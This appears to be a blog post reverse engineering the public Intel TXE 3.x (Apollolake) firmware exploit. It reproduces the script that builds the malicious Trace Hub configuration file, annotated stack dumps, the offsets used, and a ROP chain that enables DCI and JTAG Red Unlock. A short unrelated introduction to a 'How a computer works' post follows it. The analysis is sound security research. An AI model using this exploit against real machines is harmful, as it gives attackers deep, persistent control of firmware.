Something you might not realize at first (and I didn’t until I dug deep) is that the exploit explained in the BlackHat Europe 2017 presentation is very different from what they’ve released as their proof of concept. The buffer overflow in reading the “/home/bup/ct" file is the same, but that’s the easy part (hard to find, but easy to use : write a file with a size more than 808 bytes). I don’t know why, don’t ask, and I haven’t asked them either, but they decided to release the proof of concept for Apollolake (TXE 3.x) rather than for Skylake (ME 11.x) even though their presentation was about how to exploit it on Skylake. I figured that if I wanted to port their exploit to skylake, I needed to first understand how it works on Apollolake then it should just be a matter of finding the right offsets for my version of the ME on Skylake, right?… No. It actually took me a long time to figure out that what they are doing is a different exploit. In their presentation they were talking about how they overwrite the TLS with the syslib context in order to take over the shared memory destination address so they can control the memcpy for overwriting their function’s return address and bypass the stack guard security cookie .

The problem with that method is that it requires two read, the first one is to overwrite the TLS/syslib context, and the second one to cause the memcpy operation that lets the exploit happen. On skylake, it’s not a problem, the "/home/bup/ct" file gets read in chunks of 64 bytes, so you overwrite the syslib context with one chunk then you overwrite your return address with the next chunk. On Apollolake unfortunately, it doesn’t seem to use chunked reads. Because it’s a simplified firmware, the MFS (ME File System) on the flash is different I assume, and the file is read in one shot. Which means that the exploit in the presentation cannot be used. So… what do they do ?

The TXE Exploit

If you follow their instructions in their IntelTXE-PoC repository, you’ll see that the entire TXE exploit is stored in the "/home/bup/ct" file (Trace Hub Configuration) which gets generated by the me_exp_bxtp.py script. That’s the file you generate and by configuring the ME using Intel’s tools, setting the CT file in the “Trace Hub Configuration” field, the exploit happens. But what does it do exactly? What’s in that file? The script that generates it has unfortunately a few magic numbers that took me a long time to figure out. Let’s look at them :

STACK_BASE = 0x00056000
BUFFER_OFFSET = 0x380
SYS_TRACER_CTX_OFFSET = 0x200
SYS_TRACER_CTX_REQ_OFFSET = 0x55c58
RET_ADDR_OFFSET = 0x338


def GenerateTHConfig():
    print("[*] Generating fake tracehub configuration...")
    trace_hub_config   = struct.pack("<B", 0x0)*6
    trace_hub_config  += struct.pack("<H", 0x2)
    trace_hub_config  += struct.pack("<L", 0x020000e0)
    trace_hub_config  += struct.pack("<L", 0x5f000000)
    trace_hub_config  += struct.pack("<L", 0x02000010)
    trace_hub_config  += struct.pack("<L", 0x00000888)

def GenerateRops():
    print("[*] Generating rops...")
    # Let's ignore this for now

def GenerateShellCode():
    syslib_ctx_start = SYS_TRACER_CTX_REQ_OFFSET - SYS_TRACER_CTX_OFFSET
    data  = GenerateTHConfig()
    init_trace_len = len(data)
    data += GenerateRops()
    data += struct.pack("<B", 0x0)*(RET_ADDR_OFFSET - len(data))
    data += struct.pack("<L", 0x00016e1a) 
    data += struct.pack("<L", STACK_BASE - BUFFER_OFFSET + init_trace_len)

    data_tail = struct.pack("<LLLLL", 0, syslib_ctx_start,  0, 0x03000300, STACK_BASE-4)
    data += struct.pack("<B", 0x0)*(BUFFER_OFFSET - len(data) - len(data_tail))
    data += data_tail
    return data

I’ve ignored the ROPs, they’re not important for now, but if we look at the magic numbers, first, the STACK base address is 0x56000, cool, good to know.. where did they find it? no idea! Why is the buffer offset 0x380? What’s this 0x55c58 address that is SYS_TRACER_CTX_REQ_OFFSET ? Why is the RET_ADDR_OFFSET set to 0x338 ? And then all those magic values in the GenerateTHConfig function. At first, I thought that it was just a valid Trace Hub file and that if it didn’t start with those values, it would be rejected, but it turns out those values are important for the exploit to happen. Then that magic value 0x00016e1a that gets written on line 27 of the sample above.. what is that?

This article will answer all of those questions, as I’ve worked on reverse engineering the exploit itself. I will spare you all the reverse engineering and research I did on the ME itself in order to understand how the kernel creates its processes, how/where it sets up the stack, how the TLS structure gets created and by who (I wasted too much time looking at the kernel instead of just concentrating on the BUP process itself), I’ll look at that a little bit more in the next post.

After the exploit runs and I have a halted ME thread in the python console, I used the JTAG commands and dumped the stack to see what functions had run. I could follow every call that way and figured out what happened, who called who until the exploit was triggered. It’s probably a bit hard to read and I’m not going to try and explain it, but here’s the dump of the stack with my notes on the side showing what variables, registers and ret addresses are appearing on each line :

01bf:0000000000055950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055960: 00 00 00 00 cc 59 05 00 c8 59 05 00 18 00 00 00 -- garbage - push edi (in _memset_0)
01bf:0000000000055970: dc 18 00 00 40 30 09 00 ff ff ff ff 18 00 00 00 -- retaddr to _memset_0 - ebx (addr) - push 0xffffff (value) - push edi (length)
01bf:0000000000055980: 11 00 00 00 d1 01 00 00 22 00 00 00 b1 02 00 00 -- previously pushed ecx - ebx - esi - edi
01bf:0000000000055990: 04 5a 05 00 89 6d 00 00 04 30 09 00 d1 01 00 00 -- ebp 0x055a04 - retaddr to sub_1119 - var_54 - ebx
01bf:00000000000559a0: b0 02 00 00 3c 5a 05 00 d0 4d 02 00 70 5a 05 00 -- eax - LOCALS[0x54]
01bf:00000000000559b0: 04 30 09 00 44 90 09 00 d0 01 00 00 d2 02 00 00
01bf:00000000000559c0: 21 00 00 00 6f 03 00 00 ff 03 00 00 00 00 00 00
01bf:00000000000559d0: ff ff ff ff 00 00 00 00 84 30 09 00 84 30 09 00
01bf:00000000000559e0: 04 30 09 00 e1 00 00 00 02 01 00 00 91 00 00 00
01bf:00000000000559f0: d0 01 00 00 20 8e ff 6e 44 90 09 00 80 03 00 00 -- LOCALS[0x54] - ebx - esi
01bf:0000000000055a00: 00 30 09 00 50 5a 05 00 ee 6e 00 00 44 90 09 00 -- edi - ebp 0x055a50 - retaddr to sub_6CA2 - ebx
01bf:0000000000055a10: 04 30 09 00 00 04 00 00 00 4c 02 00 e0 00 00 00 -- ecx - eax - eax - eax
01bf:0000000000055a20: 01 00 00 00 70 5a 05 00 3c 5a 05 00 db f1 e8 6b -- eax - eax - eax - LOCALS[0x18]
01bf:0000000000055a30: 74 5a 05 00 40 5a 05 00 1d 84 01 00 03 00 00 00
01bf:0000000000055a40: 64 5a 05 00 ea 34 01 00 04 00 00 00 58 5a 05 00 -- LOCALS[0x18] - ebx - esi - ebp ** INVALID STACK ABOVE THIS POINT
01bf:0000000000055a50: bd 25 01 00 20 8e ff 6e 72 5a 05 00 00 00 00 00 -- retaddr to sys_get_ctx_struct_addr ** INVALID STACK ABOVE THIS POINT
01bf:0000000000055a60: d8 5a 05 00 a4 5a 05 00 4a 2a 01 00 72 5a 05 00 -- INVALID - ebp - retaddr to sub_134C6 - ebx
01bf:0000000000055a70: 20 00 43 02 00 02 08 00 0e 00 56 00 02 00 86 80 -- LOCALS[0x2C]
01bf:0000000000055a80: 80 03 00 00 04 00 00 00 94 5a 05 00 1d 84 01 00
01bf:0000000000055a90: 03 00 00 00 a0 5a 05 00 20 8e ff 6e 8c 5a 05 00 -- LOCALS[0x2C] - ebx
01bf:0000000000055aa0: 44 37 09 00 b8 5a 05 00 e5 2b 01 00 0e 00 56 00 -- esi - ebp - retaddr to sub_129C9 - arg0 ** INVALID STACK HERE AND ABOVE
01bf:0000000000055ab0: 04 00 00 00 c8 5a 05 00 10 6c 00 00 00 00 00 00 -- 4 - ebp 0x55aC8 sub_6A68 - retaddr to sub_6A50 - eax
01bf:0000000000055ac0: 0e 00 56 00 0e 00 00 00 f8 5a 05 00 62 84 00 00 -- X - X - ebp 0x55AF8 sub_8309 - retaddr to sub_6a68
01bf:0000000000055ad0: 80 03 00 00 00 8e ff 6e 8c 5a 05 00 80 03 00 00 -- LOCALS[0x1C]
01bf:0000000000055ae0: 44 37 09 00 28 5b 05 00 20 8e ff 6e 00 00 00 00 -- LOCALS[0x1C] - ebx 
01bf:0000000000055af0: 80 03 00 00 44 37 09 00 28 5b 05 00 2a 81 02 00 -- esi - edi - ebp 0x55B28 sub_2808E - retaddr to sub_6082
01bf:0000000000055b00: 44 37 09 00 00 03 00 00 00 00 00 00 29 9a 07 00 -- edi - LOCALS[0x18]
01bf:0000000000055b10: 80 03 00 00 44 37 09 00 20 8e ff 6e 80 03 00 00 -- LOCALS[0x18] - ebx
01bf:0000000000055b20: 29 8a 07 00 64 5c 05 00 90 5b 05 00 28 99 02 00 -- esi - edi - ebp 0x55B90 bup_read_mfs_file - retaddr to sub_2A678
01bf:0000000000055b30: 29 9a 07 00 80 03 00 00 02 00 00 00 00 03 00 00 -- a1 - src_size  (0x380) - sm_block_id (2) - proc_thread_id (0x300)
01bf:0000000000055b40: 00 03 00 00 00 00 00 00 01 00 00 00 ff ff ff ff -- proc_thread_id - a6, a7, a8
01bf:0000000000055b50: 00 00 00 00 01 00 00 00 00 00 00 00 68 5b 05 00 -- a9 - 10 - LOCALS[0x2C] - ebp 0x55b68 _get_tls_slot
01bf:0000000000055b60: 1d 84 01 00 03 00 00 00 8c 5b 05 00 ea 34 01 00 -- retaddr to get_tls_slot - arg0 (3), ebp 0x55b8c sub_134C6 - retaddr to sub_13495
01bf:0000000000055b70: 04 00 00 00 80 5b 05 00 bd 25 01 00 20 8e ff 6e -- X - ebp 0x55b80 sub_1253 - retaddr to sys_get_ctx_struct_addr - COOKIE ** INVALID
01bf:0000000000055b80: 9a 5b 05 00 00 00 00 00 04 00 00 00 cc 5b 05 00 -- LOCALS[0x2C] - ebx  - esi - ebp 0x55bcc sub_129C9
01bf:0000000000055b90: 4a 2a 01 00 9a 5b 05 00 ac 5b 43 02 00 02 08 00 -- retaddr to sub_134C6
01bf:0000000000055ba0: 01 00 56 00 02 00 86 80 64 5c 05 00 48 5c 05 00
01bf:0000000000055bb0: 81 13 03 00 02 00 00 00 5f 73 6b 75 00 65 00 00
01bf:0000000000055bc0: 20 8e ff 6e 58 5a 05 00 00 00 00 00 e0 5b 05 00 -- LOCALS --  - ebp 0x55BCC sub_12BD6 ** INVALID
01bf:0000000000055bd0: e5 2b 01 00 01 00 56 00 f4 5b 05 00 ae 6f 00 00 -- retaddr to sub_129C9 * INVALID - X - ebp 0x55bf4 sub_6F3D - retaddr 0x6fae to sub_6A50
01bf:0000000000055be0: 00 00 00 00 02 00 00 00 01 00 56 00 02 00 00 00 -- add esp, 0C - ebx
01bf:0000000000055bf0: 80 5c 05 00 24 5c 05 00 bc 7a 00 00 00 00 00 00 -- esi - ebp 0x55c24 sub_7A91 - retaddr 0x7abc to sub_6f3D
01bf:0000000000055c00: 00 00 00 00 00 00 00 00 00 00 e0 01 e4 9b 04 00
01bf:0000000000055c10: 00 00 00 00 20 8e ff 6e 02 00 00 00 80 5c 05 00
01bf:0000000000055c20: 04 00 05 00 40 5c 05 00 9c 7c 00 00 00 00 00 00 -- LOCAL - ebp 0x55c40 sub_7C88 - retaddr 0x7c9c to sub_7A91
01bf:0000000000055c30: 04 00 00 00 0a 00 05 00 00 00 00 00 e4 9b 04 00
01bf:0000000000055c40: 50 5c 05 00 5e 69 00 00 0a 00 05 00 e4 9b 04 00 -- ebp 0x55c50 sub_6950 - retaddr 0x695e to sub_7C88
01bf:0000000000055c50: b4 5f 05 00 e4 9b 04 00 0a 00 05 00 07 00 00 00 -- ebp 0x55fb4 - retaddr 0x49be4 to sub_6078
01bf:0000000000055c60: bf 00 00 00 80 03 00 00 07 00 00 00 4b 52 4f 44
01bf:0000000000055c70: 14 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055c80: 00 00 00 00 00 00 02 00 e0 00 00 02 00 00 00 5f
01bf:0000000000055c90: 10 00 00 02 88 08 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d60: 00 00 00 00 15 a8 04 00 c7 00 00 00 18 10 00 00
01bf:0000000000055d70: 39 a8 04 00 c7 00 00 00 08 10 00 00 01 00 00 00
01bf:0000000000055d80: c7 00 00 00 1c 10 00 00 15 a8 04 00 c7 00 00 00
01bf:0000000000055d90: 18 10 00 00 39 a8 04 00 c7 00 00 00 08 10 00 00
01bf:0000000000055da0: 01 00 00 00 c7 00 00 00 1c 10 00 00 00 01 00 00
01bf:0000000000055db0: 00 00 00 00 9f 01 00 00 00 00 00 00 10 10 00 00
01bf:0000000000055dc0: 77 a8 04 00 c7 00 00 00 08 10 00 00 be 11 00 00
01bf:0000000000055dd0: 76 a8 04 00 9f 01 00 00 00 84 00 00 03 00 00 00
01bf:0000000000055de0: 2d a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055fb0: 00 00 00 00 00 00 00 00 1a 6e 01 00 98 5d 05 00 -- pop ESP 0x55c98
01bf:0000000000055fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ff0: 58 5a 05 00 0c 00 00 00 00 03 00 03 fc 5f 05 00

A couple of things first :

  • The stack is at offset 0x56000
  • The /home/bup/ct file gets read into offset 0x55C80

We can see the call to bup_read_mfs_file at 0x55b28, but the stack is corrupted all the way to 0x55BC0, meaning that all those functions above that line were called and already returned when the exploit happened. According to the assembly code, the TXE doesn’t read the file in chunks or copy it to shared memory, so by the time bup_dfs_read_file returns, no memcpy on shared memory was called and the exploit hasn’t run. The reason for that is that the file isn’t read into the stack then copied to a shared memory, instead, a shared memory block is created pointing to the stack, then reading the data gets it to the stack by using the sys_write_shared_mem function. So once the buffer overflow is done, the copy is also done.

If you’re wondering what I mean by bup_dfs_read_file and bup_read_mfs_file, here’s a little pseudo-code of how the TXE’s BUP module initializes itself from the entry point to the time the exploit runs (only relevant code is shown, and it’s over simplified). It shows the function calls that would appear in the stack, in the right order. If you want to follow along on IDA, it’s using TXE version 3.0.1.1107:

// sub_2604C
// The entry point. First code executed after the kernel launches the BUP process
void bup_entry() {
   // Initialize stack, tls, syslib, etc...
   // bup_init();
   // then call the main function
   bup_main();
}

// sub_35001
// The main function I assume which does most of everything
void bup_main() {
   // All sorts of initialization of stuff
   // function1(); function2();
   bup_run_init_scripts();
   // Some more stuff
   // function3(); function4();
}

// sub_355E0
// This runs 'scripts', it basically loops through an array of arrays
// containing functions and calls each of those functions.
// Each function will initialize one part of the hardware.
void bup_run_init_scripts() {
{
  // Simplification of what it does
  for (int i = 0; i < scripts.length; i++)
     scripts.function[i]();
}

// 0x4FDCC
// Simplification of the scripts array, it actually is an array of structures, 
// each with an id and two script arrays within each structure.
void *scripts = {
  bup_init_this,
  bup_init_that,
  bup_init_storage,
  bup_init_dci,
  bup_init_trace_hub,
  bup_init_other,
  // etc.. 94 total functions get called.
}

// sub_49842
// This initializes the trace hub functionality by reading the /home/bup/ct file. This is where the exploit happens.
void bup_init_trace_hub() {
   char ct_data[808];
   int file_size;
   int bytes_read;

   // again, simplification
   bup_dfs_get_file_size("/home/bup/ct", &file_size);
   bup_dfs_read_file("/home/bup/ct", 0, ct_data, file_size, &bytes_read);

   // Handle the content of the CT file
   // for () {}
   // bup_init_trace_hub_set_systracer();
   // Stack Guard
}

// sub_3123B
// This reads a file from storage
int bup_dfs_read_file(char *file_name, int offset, char *buffer, unsigned int read_size, unsigned int *out_bytes_read)
{
  // Complex function (250 lines) that ends up doing this, more or less :
  int shmem_blockid = create_shared_memory_block(sys_get_thread_id(), buffer, read_size);
  CFGRecord *file = get_cfg_file_record(file_name);
  bup_read_mfs_file(mfs_partition, file->offset + offset, shmem_blockid, read_size, out_bytes_read)
  release_shared_memory_block(shmem_blockid)
  // Stack Guard
}

// sub_297BA
// Read the MFS file content and copies it to shared memory
// the function is more complex than shown, its arguments as well, I've removed anything not important.
int bup_read_mfs_file(void *mfs_partition, int offset, int shmem_blockid, unsigned int read_size, unsigned int *out_bytes_read)
{
   *out_bytes_read = read_size;
   sys_write_shared_memory(shmem_blockid, mfs_partition + offset, read_size, read_size)
   // Stack Guard
}

// sub_AE87
// This is in the syslib module, not the BUP module.
int sys_write_shared_memory(int blockid, void *src, int src_size, int write_size)
{
   SHMem *block = get_shared_memory_block(blockid);
   memcpy(block->addr, src, write_size)
   // Stack Guard
}

So, technically, according to the BlackHat presentation, when bup_read_mfs_file gets called, it reads the MFS file in chunks, and when it calls sys_write_shared_memory, it will execute our exploit, but from the stack that I dumped and analyzed above, that’s not what happens, because I can see the stack corrupted (overwritten by subsequent calls) that proves that bup_read_mfs_file has returned before the exploit happens, and then reverse engineering the code, I also see that there is no reading in chunks, which explains why things are different than in the presentation. So the exploit has to happen between the call to bup_dfs_read_file and the end of the bup_init_trace_hub, because the security cookie (stack guard) is destroyed by the buffer overflow so we can’t let bup_init_trace_hub return.. If we look at what happens in bup_init_trace_hub after the call to bup_dfs_read_file, then we see this :

void bup_init_trace_hub() {
   char ct_data[808];
   int file_size;
   int bytes_read;

   // again, simplification
   bup_dfs_get_file_size("/home/bup/ct", &file_size)
   bup_dfs_read_file("/home/bup/ct", 0, ct_data, file_size, &bytes_read)

   CT *ct = (CT *)ct_data;
   for (uint16_6 i = 0; i < ct->num_entries; i++) {
       if (ct->entries[i].selector == 1)
          set_segment_word(7, ct->entries[i].offset, ct->entries[i].value)
       if (ct->entries[i].selector == 2)
          set_segment_word(0xBF, ct->entries[i].offset, ct->entries[i].value)
   }
   bup_init_trace_hub_set_systracer(7, 0xBF)
}

// sub_49AD3
// The following is a small function that gets called and sets flags on 
// the systracer context value and returns.
bup_init_trace_hub_set_systracer(unsigned int seg1, unsigned int seg2) 
{
   // sys_get_sys_tracer_ctx() returns syslib_context + 0x200
   char *systracer = sys_get_sys_tracer_ctx();

   // Set the DWORD at address systracer + 0x10 to the first argument
   *(uint32_t *)(systracer + 0x10) = seg1;

   // Set bits 0 and 1 of systracer to 1 and clear bits 6 and 7 
   systracer[0] |= 3;
   systracer[0] &= 0x3F;
   // set bit 6 of systracer to the same as bit 3 of 0xBF:10
   systracer[0] |= ((get_segment_word(seg2, 0x10) >> 3) & 1) << 6
   // set bit 7 of systracer to the same as bit 7 of 0xBF:10
   systracer[0] |= get_segment_word(seg2, 0x10) & 0x80
   // Clear bits 8 and 9 of systracer
   systracer[1] &= 0xFC;
   // set bit 8 of systracer to the same as bit 11 of 0xBF:10
   systracer[1] |= (get_segment_word(seg2, 0x10) >> 11) & 1 
   // set bit 9 of systracer to the same as bit 24 of 0xBF:E0
   systracer[1] |= ((get_segment_word(seg2, 0xE0) >> 24) & 1) << 1; 
}

The systracer context is at syslib_ctx + 0x200 and if we look again at what the exploit from PT does, it sets the the syslib_ctx to 0x55a58 so the modified data (systracer) is at 0x55c58 which happens to be the return address of the function bup_init_trace_hub_set_systracer itself. Here’s what the stack actually looks like if we follow all the push/pop/call/ret from the entrypoint to the moment the exploit happens :

TXE STACK - bup_entry:
 0x56000: STACK TOP
 0x55FEC: TLS

 0x55FE8: ecx - arg to bup_main
 0x55FE4: edx - arg
 0x55FE0: eax - arg
 0x55FDC: retaddr - call bup_main 
   0x55FD8: saved ebp of bup_entry

   0x55FD4: 0 - arg to bup_run_init_scripts
   0x55FD0: retaddr - call bup_run_init_scripts 
     0x55FCC: saved ebp of bup_main
     0x55FC8: saved edi
     0x55FC4: saved esi
     0x55FC0: saved ebx
     0x55FBC: var_10

     0x55FB8: retaddr - call bup_init_trace_hub
       0x55FB4: saved ebp of bup_run_init_scripts
       0x55FB0: saved esi
       0x55FAC: saved ebx
       0x55C64: STACK esp-0x348
         0x55FA8: security cookie
         0x55C80: ct_data
         0x55C6C: si_features
         0x55C68: file_size
         0x55C64: bytes_read

         0x55C60: 0xBF - arg to bup_init_trace_hub_set_systracer
         0x55C5C: 7 - arg
         0x55C58: retaddr - call bup_init_trace_hub_set_systracer
           0x55C54: saved ebp of bup_init_trace_hub
 

So you can see that the systracer value that gets modified is at 0x55c58 which according to the stack is the return address of bup_init_trace_hub_set_systracer, if we look at the dump of the stack from before, you can also see that the value at 0x55c68 is indeed 7 as expected (due to *(uint32_t *)(systracer + 0x10) = seg1;). If we can control the return value of our own function, then we control what we execute.

The only things that can be controlled of our return value though are bits 0, 1, 6, 7, 8 and 9. Bits 0 and 1 are always set to 1, bits 6, 7 and 8 are dependent on a value stored in segment 0xBF at offset 0x10, and bit 9 is dependent on a vale stored in segment 0xBF at offset 0xE0. Thankfully both those values in segment 0xBF can be set through the tracehub configuration file header (the loop at the end of bup_init_trace_hub).

The ct file header has this format :

struct {
   uint8_t ignore[6];
   uint16_t num_entries;
   struct {
      uint24_t offset; // offset in the segement is only 20 bits
      uint8_t segment_selector; // if value is 1, segment is 0x07, if value is 2, segment is 0xBF
      uint32_t value; // Value to set in segment_selector:offset
   }[num_entries];
};

With the ct file header being set by the exploit to :

00 00 00 00 00 00 02 00 e0 00 00 02 00 00 00 5f
10 00 00 02 88 08 00 00 00 00 00 00 00 00 00 00

We can see it has 2 entries, which sets 0xBF:E0 to 0x5F000000 and 0xBF:10 to 0x000888

With those values set, the bup_init_trace_hub_set_systracer function that gets called in bup_init_trace_hub will overwrite its own return address at offset 0x55C58 from 0x4995B to 0x49BDB which makes it jump in the middle of sub_49BB6 with the stack/ebp of bup_init_trace_hub, such that when that function returns, it will return to the address stored in the retaddr offset of bup_init_trace_hub which is 0x55FB8. Note that the function sub_49BB6 does not check the stack for the security cookie and the point where we jump into that function makes it call a few functions that just return with an error because their parameters are wrong, so it doesn’t seem to do anything.

That address 0x55FB8 that contains the retaddr is at position 0x338 in the ct file (0x56000 – 0x55FB8 = 0x48 bytes from the end of the file of size 0x380) which contains :
1a 6e 01 00 98 5c 05 00

The address 0x16e1a is in the middle of an actual instruction but it will itself be interpreted as the instruction pop esp followed by a ret. This pops the next value 0x55c98 into the stack pointer and returns to it. If you remember, I said the ct buffer is saved into 0x55C80 (which you can also see from the stack analysis above), so address 0x55C98 is at offset 0x18 in the CT file (which is right after the header and those 2 entries that set values in segment 0xBF) which is where we find the actual ROP gadgets which enable DCI, set red unlock then enter an infinite loop.

If we look back at the python script that generates the CT file for the exploit, we can now understand everything it does :

STACK_BASE = 0x00056000
BUFFER_OFFSET = 0x380
SYS_TRACER_CTX_OFFSET = 0x200
SYS_TRACER_CTX_REQ_OFFSET = 0x55c58
RET_ADDR_OFFSET = 0x338


def GenerateTHConfig():
    print("[*] Generating fake tracehub configuration...")
    trace_hub_config   = struct.pack("<B", 0x0)*6
    trace_hub_config  += struct.pack("<H", 0x2)
    trace_hub_config  += struct.pack("<L", 0x020000e0)
    trace_hub_config  += struct.pack("<L", 0x5f000000)
    trace_hub_config  += struct.pack("<L", 0x02000010)
    trace_hub_config  += struct.pack("<L", 0x00000888)

def GenerateRops():
    print("[*] Generating rops...")
    # Let's ignore this for now

def GenerateShellCode():
    syslib_ctx_start = SYS_TRACER_CTX_REQ_OFFSET - SYS_TRACER_CTX_OFFSET
    data  = GenerateTHConfig()
    init_trace_len = len(data)
    data += GenerateRops()
    data += struct.pack("<B", 0x0)*(RET_ADDR_OFFSET - len(data))
    data += struct.pack("<L", 0x00016e1a) 
    data += struct.pack("<L", STACK_BASE - BUFFER_OFFSET + init_trace_len)

    data_tail = struct.pack("<LLLLL", 0, syslib_ctx_start,  0, 0x03000300, STACK_BASE-4)
    data += struct.pack("<B", 0x0)*(BUFFER_OFFSET - len(data) - len(data_tail))
    data += data_tail
    return data

The only remaining magic number is in that data_tail variable, which is the TLS structure. The 0x03000300 value is simply the thread ID.

Rops

The latest version of the exploit which adds CPU bring up will simply add the ROP gadgets needed to continue the bup initialization just as it would have, right after the bup_init_trace_hub returned (by resetting the syslib context to the right value then restoring the stack and registers then returning into the bup_run_scripts).

The ROPs are quite simple, they do two things : First, they enable the DCI interface, then they set the DfX Aggregator personality to 3 (which enabled RED Unlock for JTAG) then enter an infinite loop.

// Enable DCI
side_band_mapping(0x706a8, 0x100); 
put_sel_word(0x19F, 0, 0x1010); // Sets 0x19F:0 to 0x1010

// Set DfX-agg personality
side_band_mapping(0x70684, 0x100);
put_sel_word(0x19F, 0x8400, 3); // Sets 0x19F:8400 to 3

loop();

I wondered for a long time “what is that sideband mapping” and “what are those 0x706a8 and 0x70684 values”. I will explain these in the next blog post (in the next couple of days) but in summary, it causes segment 0x19F to be mapped to the DCI and DfX Aggregator devices’ Private Configuration Registers (PCRs). So first, you map segment 0x19F to the DCI device’s PCR, then you enable DCI by setting the flags to 1, then you map segment 0x19F to the DfX-agg device then set the personality register in its PCR at offset 0x8400 to 3 (red).

With just those two values set, you have DCI enabled and Red Unlock enabled, and the exploit is working. Congratulations, you can now play around with your CSE device via JTAG.

Conclusion

The CT file has 4 things :

  • Header: which sets the various values in segment 0xBF for the systracer to work
  • Big ROPs: which execute the custom code we want to enable DCI and RED unlock
  • Small ROPs: Smaller header at offset 0x338 which does a pop esp; ret to return us to the first bigger ROP
  • TLS: The modified TLS header which points the syslib context to 0x55A58 so the systracer offset points to the return address of the function that sets it.

The new TLS has a new syslib context which points the systracer offset to the return address of the bup_init_trace_hub_set_systracer function that modifies it using the values in the ct file header in order to jump to offset 0x49BDB in sub_49BB6 so that when that function returns, it will jump to the small ROP which will replace ESP with the address of the Big ROPs then execute them, which then enables DCI and JTAG and loops forever or continues the bup init process depending on the version of the exploit used.

Yeah.. that was a lot of fun to figure out. So you see that this exploit is not entirely the same as the skylake exploit. The skylake exploit is actually quite a lot more difficult to achieve because it involves more moving parts. I assume that’s the reason why PT hadn’t released that.

In the next post I write, I will explain how I ported this exploit to ME 11.x using the information provided by Positive Technologies and I will explain how to port your own ME version to it using what I wrote as a base.

Thanks for reading!

How a computer works (Part 1)

Hello dear interwebs,

I just found this blog post that I wrote in 2013… Never finished it, never published it… I’ve updated it slightly (in blue) and then finished writing it so I can finally publish it 6 years later… here it goes :


I was recently thinking about how computers work and I know a lot of you reading me would enjoy knowing more about the details of it, so I decided to write another educational post (kind of like the ECDSA post a few months years ago).

Once more, I need to write a disclaimer saying that this is a relatively simple explanation, I will try to make it easy to understand, but it means there might be some inaccuracies, or incomplete information, so don’t be surprised if you see something wrong, just let me know, it might be my mistake, or it might have been on purpose for the sake of simplicity.

Binary data

First, let’s start with the basics. Many of you will know what binary data is and how it works, but I don’t think everyone does, so I’ll try to explain it briefly. If you already know what this is, maybe you can skip this section.

